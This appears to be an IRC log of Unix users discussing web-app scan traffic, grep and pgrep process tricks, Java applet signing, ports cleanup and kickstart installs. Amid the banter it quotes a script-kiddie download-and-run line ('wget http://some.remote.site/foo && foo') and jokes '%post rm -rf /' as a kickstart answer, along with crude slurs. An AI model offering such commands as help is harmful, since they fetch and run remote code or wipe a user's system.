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<0> I get alot of /cvs/mambo/index2.php crap
<1> Mouring: Seems to be related to http://www.k5n.us/webcalendar.php
<0> http://www.ush.it/2005/11/28/webcalendar-multiple-vulnerabilities/
<0> the other day I looked at some request to my httpd that pulled a script down, chmod'd and executed
<0> tried to be sneaky by putting his ip in hex, ooo, sneaky sneaky
<2> fugi, looked kinda like that, but I didn't dig far enough into that app.
<0> ran some irc bot
<0> word
<0> it was sloppy though, I mean you'd think you'd distribute source and have a script compile then run, but they just distributed linux binaries
<0> which I thought was kinda gay.
<2> well.. most of the attacks I see are precompiled ones.
<2> they are just wget http://some.remote.site/foo && foo && echo "Success"
<0> I'm going to have to show the script kiddies how it's done. write a shell script that determines arch and OS then pull the appropriate ***embly file, compile it, and run
<2> fugi, ***uming you have a compiler.
<2> ***uming your code is well written and portable..
<3> would be better to compose a reply buffer overflow
<3> find some bug in their perl code
<2> Doc, we are referring to what the kiddy scripted do after they know the bug and start trying to play script kiddy and infest random machines automaticly.
<2> ermm..I bought a bunch of irons for golfing.
<4> can someone explain to me what the '[ ]' does in this statement?
<4> ps -axww |grep '[ ]'someprocess
<4> ps -axww |grep someprocess seems to do the same job...
<2> wet, the idea is to not acquire the grep statement.
<4> thats a weird way of doing it, grep has flag for that
<5> ya. it's quite an old trick
<2> $ ps -ax | grep ircII
<2> 23488 p3 I+ 0:25.99 ircII mouring irc.umn.edu
<2> 23510 p5 R+ 0:00.00 grep ircII (ksh)
<2> $ ps -ax | grep '[ ]'ircII
<2> 23488 p3 I+ 0:25.99 ircII mouring irc.umn.edu
<2> I tend to | grep '[i]rcII' myself.
<2> but <shrug>
<6> i got a question
<2> dmi, no babies don't come from groundhogs.
<6> o/~ what do you do with a BA in english? o/~
<4> err, it does not have an option for that, nm.
<6> four years of college
<7> do professional writing, editing
<6> and plenty of knowledge
<6> has earned me this useless degreeeeeee
<6> hey D :)
<7> It's amusing how many people can't write.
<2> dmi, have better grammar skills than most on this channel... If the BA was really earned.
<6> i speak the english very good
<6> what are you talk with?
<2> very well.
<6> i am very well using the english
<6> you can watch cvs log
<6> all perfect
<4> wait a minute, the '[ ]' seems to change greps behaviour
<2> ermm.. damn it.. still can't remember.. Is it "Identical with" that is right and "Identicial to" that is wrong?
<2> <frown>
<4> # ps -axww|grep '[ ]'freshclam
<4> nothing.
<4> # ps -axww|grep freshclam
<4> 549 ?? Is 0:00.01 /usr/local/bin/freshclam --daemon
<5> right
<7> I blame the Norwegians.
<6> i **** my pants when i first heard that song.
<4> why is that?
<6> i blame Battosai
<7> Apparently we are sending them a pile of maple syrup.
<5> the ww broke it
<6> no, AC-130U broke it.
<2> wet, because '[ ]' implies a space.. and since "freshclam" doesn't have a SPACE in front of it..
<6> all his fault
<8> huh?
<8> naw, it be b1 that broke it.
<6> it's all your fault
<6> lier!
<8> truther!
<2> netrualer!
<6> all cretans are truthers!
<6> neuter?
<4> oh well, guess ill have to use "/usr/local/bin/freshclam" then.
<2> wet, just do | grep [f]reshclam
<2> that will kill off the grep.. while getting /full/path/freshclam or freshclam
<5> or just freshclam and ignore the suprious output
<5> spurious, too
<2> ps -ax | grep foo | grep -v grep
<2> the poor man's way =-)
<5> hah
<4> yeah, thats the way ive always see it done :P
<5> that's fugly
<2> pgrep foo
<4> well, its an extra grep..
<2> which is I guess the 2000 way.
<9> hm
<4> why didnt i think of pgrep!
<4> its one of those commands you forget exists.. :P
<2> it is one of those "new fangled" commands.
<2> damn them.
<5> ps -ax|awk '/freshclam/'
<4> its already got an awk :P
<4> process=/usr/local/bin/freshclam
<4> pid=`ps -axww |grep '[ ]'$process |awk '{print $1}'`
<5> awk /freshclam/
<2> there are more solutions than there are fish in the sea and dogs on land.
<5> awk '/freshclam/ {print $1}'
<9> argh
<5> arf
<9> these java applet security restrictions drive me insane
<2> rien, then burn them down by signing the applet and allow it to have free riegn.
<4> well, pgrep saves me 0.010 real time instead of the grep/awk way :P
<9> Mouring: can I just self-sign my applet?
<10> with grep/awk you can drop grep && do ony in awk. as for psgrep .. how portable it is?
<2> rien, who knows.. I was jokigng.
<4> dont know, but it does not need to be, application will only run on one os.
<2> church, as portable as a ton of bricks without a sled.
<10> also freaking ps/grep/awk is already rooted so deep in my habbits .. i'm too lazy to learn something new ;>
<2> pgrep, pkill, pmangle, pfoo, pbar, pee-in-my-pants...ermm.. wait.. I have none.
<10> ;>
<11> what's the new version of "enis"?
<9> Mouring: thanks for your joke, it does the trick :-)
<2> ermm.. you signed a java app? Did you do it in your own blood?
<9> No :-)
<9> I did it with my own name though
<12> i love fresh clam
<4> much better than stale clams
<2> ermm. I don't claim to like clams in general.
<2> ermm... Rog Minotaur origional painting..... <paws at the floor>
<2> she is auctioning off a commission piece... She is a damn good artist...
<11> http://www.mcescher.com/Gallery/ital-bmp/LW268.jpg
<13> how do you clean the /usr/ports of past installs, where i didnt issue a 'clean' ?
<11> find /usr/ports -name "work/" -print | xargs rm -r
<13> sweet.
<13> yeah, i used that to find them into a txt doc.
<13> just didnt know how to remove while finding.
<13> well i like keeping .tgz so i dont have to redownload.
<0> yarr
<0> anyone know if you can have kickstart execute a rsync or cvs command on completion of OS install?
<0> the situation is I have do to a kickstart install on a 200gb raid array, then install our in house software and configure it which is a real pain in the ***. takes hours. I would just fully configure one server then use g4u to image it, but really, 200GB. no.
<0> anyone have a better solution?
<0> would it be easier to make a RPM of all the ***ociated files?
<0> maybe I'll just hit it with a stick until it ceases to be insolent.
<14> fugi: Yes
<14> You can make the %post section of a kickstart script do anything you want provided you've installed the appropriate packages to perform what you want it to do.
<0> oh, cool
<0> thanks
<2> %post
<2> rm -rf /
<0> %post
<0> ls -l /home/coworker| mail -s "when a girl loves a donkey" boss@companny.com
<0> oh poop
<0> it didn't copy the other line
<0> /usr/local/bin/sync-horseporn /home/coworker
<0> yes it did, it started with a /
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